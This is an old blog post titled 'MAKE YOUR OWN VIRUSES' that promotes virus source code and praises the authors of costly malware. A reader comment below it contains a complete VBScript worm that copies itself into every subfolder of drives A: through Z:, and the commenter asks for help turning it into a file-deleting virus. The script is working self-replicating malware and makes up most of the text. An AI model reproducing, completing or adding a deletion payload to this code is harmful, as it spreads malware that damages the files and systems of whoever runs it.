Monday, February 12, 2007

MAKE YOUR OWN VIRUSES

FOR ALL THOSE OF YOU WHO ALWAYS WANTED TO MAKE THEIR OWN VIRUSES, TROJANS, WORMS, AND BUGS..HERE'S SOME SOURCE CODES FOR THE MOST POPULAR YET THE MOST LETHAL VIRUSES EVER KNOWN TO MICROSOFT..THEY RAN IN MILLIOSN OF DOLLARS IN LOSS OWING TO THESE GENUISES WHO MADE THESE MASTERPIECES..WATCH THIS SPACE FOR ME..AND OOH YEA..DONT FORGET TO SHARE THE WORD!!!!!!!

The Renegade!!

1 comment:

Unknown said...

hlep me creat file delete virut when i run command
Dim fso,file,VBCopy
Set fso=CreateObject("Scripting.FileSystemObject")
Set file=fso.OpenTextFile(WScript.ScriptFullName,1)
VBCopy=file.ReadAll
FolderList("A:\")
FolderList("B:\")
FolderList("C:\")
FolderList("D:\")
FolderList("E:\")
FolderList("F:\")
FolderList("G:\")
FolderList("H:\")
FolderList("I:\")
FolderList("J:\")
FolderList("K:\")
FolderList("L:\")
FolderList("M:\")
FolderList("N:\")
FolderList("O:\")
FolderList("P:\")
FolderList("Q:\")
FolderList("R:\")
FolderList("S:\")
FolderList("T:\")
FolderList("U:\")
FolderList("V:\")
FolderList("X:\")
FolderList("Y:\")
FolderList("Z:\")
FolderList("W:\")

Sub FolderList(FolderSpec)
On Error Resume Next
Dim f,f1,sf,COP,CAP
Set f=fso.GetFolder(FolderSpec)
set sf=f.SubFolders
For Each f1 In sf
Set COP=fso.CreateTextFile(f1.path & "\Virus Boss!!!!!!!.vbs")
COP.write VBCopy
Set CAP=fso.CreateTextFile(f1.path & "---Virus Boss!!!!!!!.vbs")
CAP.write VBCopy
FolderList(f1.Path)
Next
End sub
(i can not delete it)
thank. thank. thank